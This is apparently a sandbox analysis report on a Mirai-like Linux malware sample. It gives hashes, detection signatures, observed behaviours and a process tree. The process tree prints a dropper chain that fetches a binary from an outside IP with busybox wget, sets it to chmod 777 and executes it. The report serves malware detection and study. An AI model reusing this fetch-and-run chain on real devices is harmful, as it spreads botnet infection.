Analysis
- max time kernel
146s - max time network
148s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
18/08/2026, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Resource
debian9-mipsel-20260513-en
General
- Target d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
- Size 1KB
- Sample260818-dps8gsfb38
- SHA256 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
- MD5 7ecd06307fb14550dbfc81ba35e3761f
- SHA1 a775bc582d340e314b6c903d6426569932931687
- SHA512 677a5b8d613597d24dbce74f362f2f714673bd22ba8321ae93b7baa4ef4dcad9432ac3efc0000dbc9c7fe7d69e9dfc5573309bc6746557d4795a0bfd9bdc5443
- TLSH T13431EDEEFCE29530B78DA83FA22C718076C3045B1458EC4CB04EBD215F2CCA5785513A
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Detects suspicious XORed keyword - Mozilla/5.0 1 IoCs
resource yara_rule behavioral2/files/fstream-1.dat SUSP_XORed_Mozilla - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 686 chmod - Deletes itself 2 IoCs
pid Process 687 d 688 d - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/d 687 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447 - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog d File opened for modification /dev/misc/watchdog d - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself httpd 687 d - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/d busybox File opened for modification /tmp/d d
Processes
-
/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba874471⤵
- Executes dropped EXE
PID:653 -
/bin/unameuname -m2⤵PID:656
-
-
/bin/rmrm -f d2⤵PID:658
-
-
/bin/busyboxbusybox wget -O d http://31.77.227.102/d/mini.arm72⤵
- Writes file to tmp directory
PID:661
-
-
/usr/bin/wcwc -c2⤵PID:685
-
-
/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
PID:686
-
-
/tmp/d./d vitek2⤵
- Deletes itself
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
PID:687
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/d
- Size 40KB
- SHA256 1fd2a05430520a56cd5cacc24d3c552ce7674d3dc2b17990c6744da481f0a77c
- MD5 f5dd86e2c6f5227700ee54cf0e01f839
- SHA1 f5c07d30df13f0b0c0316e14e3863e47b6699a73
- SHA512 e947369c65dd5911bfa6e109ef1591ef97ff4d9ad9346cf4de3f12a7fafc599dd28a8ba016ef8cb3d5aceda654d32225c1fec5c4de6343a237ccd36c30bd2f44
- SSDEEP 768:UZZUcytlhL6LLdxv8pkoJ12T8IAP073aZos0sOYl7s5cNR65HVzDq3W1e:sGlp6TkkoaT8IGZROqCcNRYHVzDH
- TLSH T15F13E654F5D0CE66C6E4257AFA9E116C33574FB8D2DA3203DA00AA3537EB55A0F3B902
- MD5 SHA1 SHA512 SSDEEP TLSH